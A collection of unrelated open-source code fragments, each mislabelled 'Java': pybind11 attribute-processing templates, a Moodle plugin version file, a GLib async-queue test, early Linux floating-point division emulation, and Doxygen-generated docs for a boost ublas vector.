static void postcall(function_call &, handle) { }
};
/// Process an attribute specifying the function's name
template <> struct process_attribute<name> : process_attribute_default<name> {
static void init(const name &n, function_record *r) { r->name = const_cast<char *>(n.value); }
};
/// Process an attribute specifying the function's docstring
template <> struct process_attribute<doc> : process_attribute_default<doc> {
static void init(const doc &n, function_record *r) { r->doc = const_cast<char *>(n.value); }
};
/// Process an attribute specifying the function's docstring (provided as a C-style string)
template <> struct process_attribute<const char *> : process_attribute_default<const char *> {
static void init(const char *d, function_record *r) { r->doc = const_cast<char *>(d); }
static void init(const char *d, type_record *r) { r->doc = const_cast<char *>(d); }
};
template <> struct process_attribute<char *> : process_attribute<const char *> { };
/// Process an attribute indicating the function's return value policy
template <> struct process_attribute<return_value_policy> : process_attribute_default<return_value_policy> {
static void init(const return_value_policy &p, function_record *r) { r->policy = p; }
};
/// Process an attribute which indicates that this is an overloaded function associated with a given sibling
template <> struct process_attribute<sibling> : process_attribute_default<sibling> {
static void init(const sibling &s, function_record *r) { r->sibling = s.value; }
};
/// Process an attribute which indicates that this function is a method
template <> struct process_attribute<is_method> : process_attribute_default<is_method> {
static void init(const is_method &s, function_record *r) { r->is_method = true; r->scope = s.class_; }
};
/// Process an attribute which indicates the parent scope of a method
template <> struct process_attribute<scope> : process_attribute_default<scope> {
static void init(const scope &s, function_record *r) { r->scope = s.value; }
};
/// Process an attribute which indicates that this function is an operator
template <> struct process_attribute<is_operator> : process_attribute_default<is_operator> {
static void init(const is_operator &, function_record *r) { r->is_operator = true; }
};
/// Process a keyword argument attribute (*without* a default value)
template <> struct process_attribute<arg> : process_attribute_default<arg> {
static void init(const arg &a, function_record *r) {
if (r->is_method && r->args.empty())
r->args.emplace_back("self", nullptr, handle(), true /*convert*/, false /*none not allowed*/);
r->args.emplace_back(a.name, nullptr, handle(), !a.flag_noconvert, a.flag_none);
}
};
/// Process a keyword argument attribute (*with* a default value)
template <> struct process_attribute<arg_v> : process_attribute_default<arg_v> {
static void init(const arg_v &a, function_record *r) {
if (r->is_method && r->args.empty())
r->args.emplace_back("self", nullptr /*descr*/, handle() /*parent*/, true /*convert*/, false /*none not allowed*/);
if (!a.value) {
#if !defined(NDEBUG)
std::string descr("'");
if (a.name) descr += std::string(a.name) + ": ";
descr += a.type + "'";
if (r->is_method) {
if (r->name)
descr += " in method '" + (std::string) str(r->scope) + "." + (std::string) r->name + "'";
else
descr += " in method of '" + (std::string) str(r->scope) + "'";
} else if (r->name) {
descr += " in function '" + (std::string) r->name + "'";
}
pybind11_fail("arg(): could not convert default argument "
+ descr + " into a Python object (type not registered yet?)");
#else
pybind11_fail("arg(): could not convert default argument "
"into a Python object (type not registered yet?). "
"Compile in debug mode for more information.");
#endif
}
r->args.emplace_back(a.name, a.descr, a.value.inc_ref(), !a.flag_noconvert, a.flag_none);
}
};
/// Process a parent class attribute. Single inheritance only (class_ itself already guarantees that)
template <typename T>
struct process_attribute<T, enable_if_t<is_pyobject<T>::value>> : process_attribute_default<handle> {
static void init(const handle &h, type_record *r) { r->bases.append(h); }
};
/// Process a parent class attribute (deprecated, does not support multiple inheritance)
template <typename T>
struct process_attribute<base<T>> : process_attribute_default<base<T>> {
static void init(const base<T> &, type_record *r) { r->add_base(typeid(T), nullptr); }
};
/// Process a multiple inheritance attribute
template <>
struct process_attribute<multiple_inheritance> : process_attribute_default<multiple_inheritance> {
static void init(const multiple_inheritance &, type_record *r) { r->multiple_inheritance = true; }
};
template <>
struct process_attribute<dynamic_attr> : process_attribute_default<dynamic_attr> {
static void init(const dynamic_attr &, type_record *r) { r->dynamic_attr = true; }
};
template <>
struct process_attribute<buffer_protocol> : process_attribute_default<buffer_protocol> {
static void init(const buffer_protocol &, type_record *r) { r->buffer_protocol = true; }
};
template <>
struct process_attribute<metaclass> : process_attribute_default<metaclass> {
static void init(const metaclass &m, type_record *r) { r->metaclass = m.value; }
};
/// Process an 'arithmetic' attribute for enums (does nothing here)
template <>
struct process_attribute<arithmetic> : process_attribute_default<arithmetic> {};
template <typename... Ts>
struct process_attribute<call_guard<Ts...>> : process_attribute_default<call_guard<Ts...>> { };
/**
* Process a keep_alive call policy -- invokes keep_alive_impl during the
* pre-call handler if both Nurse, Patient != 0 and use the post-call handler
* otherwise
*/
template <size_t Nurse, size_t Patient> struct process_attribute<keep_alive<Nurse, Patient>> : public process_attribute_default<keep_alive<Nurse, Patient>> {
template <size_t N = Nurse, size_t P = Patient, enable_if_t<N != 0 && P != 0, int> = 0>
static void precall(function_call &call) { keep_alive_impl(Nurse, Patient, call, handle()); }
template <size_t N = Nurse, size_t P = Patient, enable_if_t<N != 0 && P != 0, int> = 0>
static void postcall(function_call &, handle) { }
template <size_t N = Nurse, size_t P = Patient, enable_if_t<N == 0 || P == 0, int> = 0>
static void precall(function_call &) { }
template <size_t N = Nurse, size_t P = Patient, enable_if_t<N == 0 || P == 0, int> = 0>
static void postcall(function_call &call, handle ret) { keep_alive_impl(Nurse, Patient, call, ret); }
};
/// Recursively iterate over variadic template arguments
template <typename... Args> struct process_attributes {
static void init(const Args&... args, function_record *r) {
int unused[] = { 0, (process_attribute<typename std::decay<Args>::type>::init(args, r), 0) ... };
ignore_unused(unused);
}
static void init(const Args&... args, type_record *r) {
int unused[] = { 0, (process_attribute<typename std::decay<Args>::type>::init(args, r), 0) ... };
ignore_unused(unused);
}
static void precall(function_call &call) {
int unused[] = { 0, (process_attribute<typename std::decay<Args>::type>::precall(call), 0) ... };
ignore_unused(unused);
}
static void postcall(function_call &call, handle fn_ret) {
int unused[] = { 0, (process_attribute<typename std::decay<Args>::type>::postcall(call, fn_ret), 0) ... };
ignore_unused(unused);
}
};
template <typename T>
using is_call_guard = is_instantiation<call_guard, T>;
/// Extract the ``type`` from the first `call_guard` in `Extras...` (or `void_type` if none found)
template <typename... Extra>
using extract_guard_t = typename exactly_one_t<is_call_guard, call_guard<>, Extra...>::type;
/// Check the number of named arguments at compile time
template <typename... Extra,
size_t named = constexpr_sum(std::is_base_of<arg, Extra>::value...),
size_t self = constexpr_sum(std::is_same<is_method, Extra>::value...)>
constexpr bool expected_num_args(size_t nargs, bool has_args, bool has_kwargs) {
return named == 0 || (self + named + has_args + has_kwargs) == nargs;
}
NAMESPACE_END(detail)
NAMESPACE_END(pybind11)
| Java |
var searchData=
[
['operator_2a',['operator*',['../class_complex.html#a789de21d72aa21414c26e0dd0966313a',1,'Complex']]],
['operator_2b',['operator+',['../class_complex.html#a5a7bc077499ace978055b0e6b9072ee9',1,'Complex']]],
['operator_5e',['operator^',['../class_complex.html#a952d42791b6b729c16406e21f9615f9f',1,'Complex']]]
];
| Java |
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* Atto text editor recordrtc version file.
*
* @package atto_recordrtc
* @author Jesus Federico (jesus [at] blindsidenetworks [dt] com)
* @author Jacob Prud'homme (jacob [dt] prudhomme [at] blindsidenetworks [dt] com)
* @copyright 2017 Blindside Networks Inc.
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
defined('MOODLE_INTERNAL') || die();
$plugin->version = 2020061500;
$plugin->requires = 2020060900;
$plugin->component = 'atto_recordrtc';
$plugin->maturity = MATURITY_STABLE;
| Java |
/* Moonshine - a Lua-based chat client
*
* Copyright (C) 2010 Dylan William Hardison
*
* This file is part of Moonshine.
*
* Moonshine is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Moonshine is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with Moonshine. If not, see <http://www.gnu.org/licenses/>.
*/
#include <moonshine/async-queue-source.h>
#include <glib.h>
#include <unistd.h>
static guint tag = 0;
void my_free_func(gpointer data)
{
g_print("free: %s\n", ((GString *)data)->str);
g_string_free((GString *)data, TRUE);
}
void my_pool_func(gpointer data, gpointer userdata)
{
static int count = 1;
GAsyncQueue *queue = userdata;
GString *name = data;
GString *msg = g_string_new("");
g_string_printf(msg, "count: %d", count++);
g_print("- %s\n", name->str);
g_string_free(name, TRUE);
g_print("queue: %s\n", msg->str);
g_async_queue_push(queue, msg);
}
gboolean my_queue_func(gpointer data, gpointer userdata)
{
GString *msg = data;
GString *prefix = userdata;
g_print("%s%s\n", prefix->str, msg->str);
g_string_free(msg, TRUE);
return TRUE;
}
gboolean my_start_func(gpointer userdata)
{
GAsyncQueue *queue = g_async_queue_new_full(my_free_func);
GThreadPool *pool = g_thread_pool_new(my_pool_func, g_async_queue_ref(queue), 1, TRUE, NULL);
tag = ms_async_queue_add_watch(queue, my_queue_func, g_string_new("msg: "), my_free_func);
g_async_queue_unref(queue);
g_thread_pool_push(pool, g_string_new("foo"), NULL);
g_thread_pool_push(pool, g_string_new("bar"), NULL);
g_thread_pool_push(pool, g_string_new("baz"), NULL);
return FALSE;
}
gboolean my_beep_func(gpointer userdata)
{
g_print("beep!\n");
return FALSE;
}
gboolean my_stop_func(gpointer userdata)
{
g_print("stopping...\n");
gboolean rv = g_source_remove(tag);
g_print("g_source_remove(%d): %s\n", tag, rv ? "TRUE" : "FALSE");
return FALSE;
}
int main(int argc, char *argv[])
{
GMainLoop *loop = g_main_loop_new(NULL, FALSE);
g_thread_init(NULL);
g_timeout_add(10, my_start_func, NULL);
//g_timeout_add(1000, my_beep_func, NULL);
//g_timeout_add(5000, my_beep_func, NULL);
g_timeout_add(5000, my_stop_func, NULL);
g_main_loop_run(loop);
return 0;
}
| Java |
/*
* linux/kernel/math/div.c
*
* (C) 1991 Linus Torvalds
*/
/*
* temporary real division routine.
*/
#include <linux/math_emu.h>
static void shift_left(int * c)
{
__asm__ __volatile__("movl (%0),%%eax ; addl %%eax,(%0)\n\t"
"movl 4(%0),%%eax ; adcl %%eax,4(%0)\n\t"
"movl 8(%0),%%eax ; adcl %%eax,8(%0)\n\t"
"movl 12(%0),%%eax ; adcl %%eax,12(%0)"
::"r" ((long) c):"ax");
}
static void shift_right(int * c)
{
__asm__("shrl $1,12(%0) ; rcrl $1,8(%0) ; rcrl $1,4(%0) ; rcrl $1,(%0)"
::"r" ((long) c));
}
static int try_sub(int * a, int * b)
{
char ok;
__asm__ __volatile__("movl (%1),%%eax ; subl %%eax,(%2)\n\t"
"movl 4(%1),%%eax ; sbbl %%eax,4(%2)\n\t"
"movl 8(%1),%%eax ; sbbl %%eax,8(%2)\n\t"
"movl 12(%1),%%eax ; sbbl %%eax,12(%2)\n\t"
"setae %%al":"=a" (ok):"c" ((long) a),"d" ((long) b));
return ok;
}
static void div64(int * a, int * b, int * c)
{
int tmp[4];
int i;
unsigned int mask = 0;
c += 4;
for (i = 0 ; i<64 ; i++) {
if (!(mask >>= 1)) {
c--;
mask = 0x80000000;
}
tmp[0] = a[0]; tmp[1] = a[1];
tmp[2] = a[2]; tmp[3] = a[3];
if (try_sub(b,tmp)) {
*c |= mask;
a[0] = tmp[0]; a[1] = tmp[1];
a[2] = tmp[2]; a[3] = tmp[3];
}
shift_right(b);
}
}
void fdiv(const temp_real * src1, const temp_real * src2, temp_real * result)
{
int i,sign;
int a[4],b[4],tmp[4] = {0,0,0,0};
sign = (src1->exponent ^ src2->exponent) & 0x8000;
if (!(src2->a || src2->b)) {
set_ZE();
return;
}
i = (src1->exponent & 0x7fff) - (src2->exponent & 0x7fff) + 16383;
if (i<0) {
set_UE();
result->exponent = sign;
result->a = result->b = 0;
return;
}
a[0] = a[1] = 0;
a[2] = src1->a;
a[3] = src1->b;
b[0] = b[1] = 0;
b[2] = src2->a;
b[3] = src2->b;
while (b[3] >= 0) {
i++;
shift_left(b);
}
div64(a,b,tmp);
if (tmp[0] || tmp[1] || tmp[2] || tmp[3]) {
while (i && tmp[3] >= 0) {
i--;
shift_left(tmp);
}
if (tmp[3] >= 0)
set_DE();
} else
i = 0;
if (i>0x7fff) {
set_OE();
return;
}
if (tmp[0] || tmp[1])
set_PE();
result->exponent = i | sign;
result->a = tmp[2];
result->b = tmp[3];
}
| Java |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<title>ublas: Member List</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<link href="doxygen.css" rel="stylesheet" type="text/css"/>
</head>
<body>
<!-- Generated by Doxygen 1.6.1 -->
<div class="navigation" id="top">
<div class="tabs">
<ul>
<li><a href="index.html"><span>Main Page</span></a></li>
<li><a href="pages.html"><span>Related Pages</span></a></li>
<li class="current"><a href="annotated.html"><span>Classes</span></a></li>
<li><a href="files.html"><span>Files</span></a></li>
</ul>
</div>
<div class="tabs">
<ul>
<li><a href="annotated.html"><span>Class List</span></a></li>
<li><a href="hierarchy.html"><span>Class Hierarchy</span></a></li>
<li><a href="functions.html"><span>Class Members</span></a></li>
</ul>
</div>
</div>
<div class="contents">
<h1>boost::numeric::ublas::vector< T, A > Member List</h1>This is the complete list of members for <a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a>, including all inherited members.<table>
<tr bgcolor="#f0f0f0"><td><b>array_type</b> typedef (defined in <a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a>)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a449aa3da7748032b856c4ad74549f14d">assign</a>(const vector_expression< AE > &ae)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a2ece9f4455a3a98e4ab98d131d440f85">assign_temporary</a>(vector &v)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a3737e9b662f9ba10fa87789de4fa37f6">begin</a>() const </td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a3160d419e77bfd6fe805e4a70cbf882b">begin</a>()</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#aad56668044d71db97be9e44db273f09a">clear</a>()</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b>closure_type</b> typedef (defined in <a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a>)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b>complexity</b> (defined in <a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector__container.html">boost::numeric::ublas::vector_container< vector< T, A > ></a>)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector__container.html">boost::numeric::ublas::vector_container< vector< T, A > ></a></td><td><code> [static]</code></td></tr>
<tr bgcolor="#f0f0f0"><td><b>const_closure_type</b> typedef (defined in <a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a>)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b>const_pointer</b> typedef (defined in <a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a>)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b>const_reference</b> typedef (defined in <a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a>)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b>const_reverse_iterator</b> typedef (defined in <a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a>)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b>container_type</b> typedef (defined in <a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector__container.html">boost::numeric::ublas::vector_container< vector< T, A > ></a>)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector__container.html">boost::numeric::ublas::vector_container< vector< T, A > ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a941dea529f7d464d5f044657528c4922">data</a>() const </td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a2fa457a2e17d4a1b56730078a9eed38f">data</a>()</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b>difference_type</b> typedef (defined in <a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a>)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a5ca7b44d2563752edcd0cc0ad5f2113c">empty</a>() const </td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a0bde39bb3dac56f1c0c8cc6e044942ab">end</a>() const </td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#afdb08490029b3d55cdec200d665bfa04">end</a>()</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#ac3700c206fa1bf8e5205edbb859432c1">erase_element</a>(size_type i)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b>expression_type</b> typedef (defined in <a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector__expression.html">boost::numeric::ublas::vector_expression< vector< T, A > ></a>)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector__expression.html">boost::numeric::ublas::vector_expression< vector< T, A > ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a3be04f746cfe32f0de3aaa2a5273f3a1">find</a>(size_type i) const </td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#ac7ed001baef390b605d6b932a055e5f3">find</a>(size_type i)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a0ad6b2bb8196fc36e33d3aa47d296500">find_element</a>(size_type i)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a5b1de2ac98f634b04640bcea98fe8298">find_element</a>(size_type i) const </td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a35b8f3eae165e33d8d4e33f86f40b954">insert_element</a>(size_type i, const_reference t)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a40757a37ac3ad92fc89895a200ac5de3">max_size</a>() const </td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#ac02f6ccd9710c186f9ae734e6395b742">minus_assign</a>(const vector_expression< AE > &ae)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#aa511fcff4d8dba52bf163fbc9664dfbf">operator()</a>(size_type i) const </td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a4b53f6b15f6aaa81b059bbdcaaf00fab">operator()</a>(size_type i)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b>operator()</b>() const (defined in <a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector__container.html">boost::numeric::ublas::vector_container< vector< T, A > ></a>)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector__container.html">boost::numeric::ublas::vector_container< vector< T, A > ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b>operator()</b>() (defined in <a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector__container.html">boost::numeric::ublas::vector_container< vector< T, A > ></a>)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector__container.html">boost::numeric::ublas::vector_container< vector< T, A > ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a6cee4bffbd0981075d11f4e7fc5e04d2">operator*=</a>(const AT &at)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a9ec4c7260a33c9ad841339b4f59aa73b">operator+=</a>(const vector_expression< AE > &ae)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a953fa9e2fa2e610674e5f94391f60333">operator+=</a>(const vector_container< C > &v)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a74138b9c59c7dee5d4cfea50359efaa3">operator-=</a>(const vector_expression< AE > &ae)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a04918781e246fb21d1fb0f36948c04fb">operator-=</a>(const vector_container< C > &v)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a6800b804a49a7bd4ce3767d1ea0aafc0">operator/=</a>(const AT &at)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a1724d353e3006619a995342bc6be134e">operator=</a>(const vector &v)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#af778c9aad1d18346fe2ec22642454755">operator=</a>(const vector_container< C > &v)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#af7df90fe154185ba4688750a8acc0c68">operator=</a>(const vector_expression< AE > &ae)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a0cfc171dac4e78549a96c43062a052c6">operator[]</a>(size_type i) const </td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a10b3c5c3a5042f21a996eeb75c447529">operator[]</a>(size_type i)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#afd874b1ba7fe6a5b961cc3b228cd1208">plus_assign</a>(const vector_expression< AE > &ae)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b>pointer</b> typedef (defined in <a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a>)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a1860dd32b80e7418fbf49fe7b99f6012">rbegin</a>() const </td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a1595a26c1f668988af4a8bbe86ae4ed4">rbegin</a>()</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b>reference</b> typedef (defined in <a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a>)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a0098add795c37e4d67f6f98436e1aac8">rend</a>() const </td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a423d1dc8dbf20b2180093a504dea0ea2">rend</a>()</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a113118def88db3755da6690b6ec903f0">resize</a>(size_type size, bool preserve=true)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
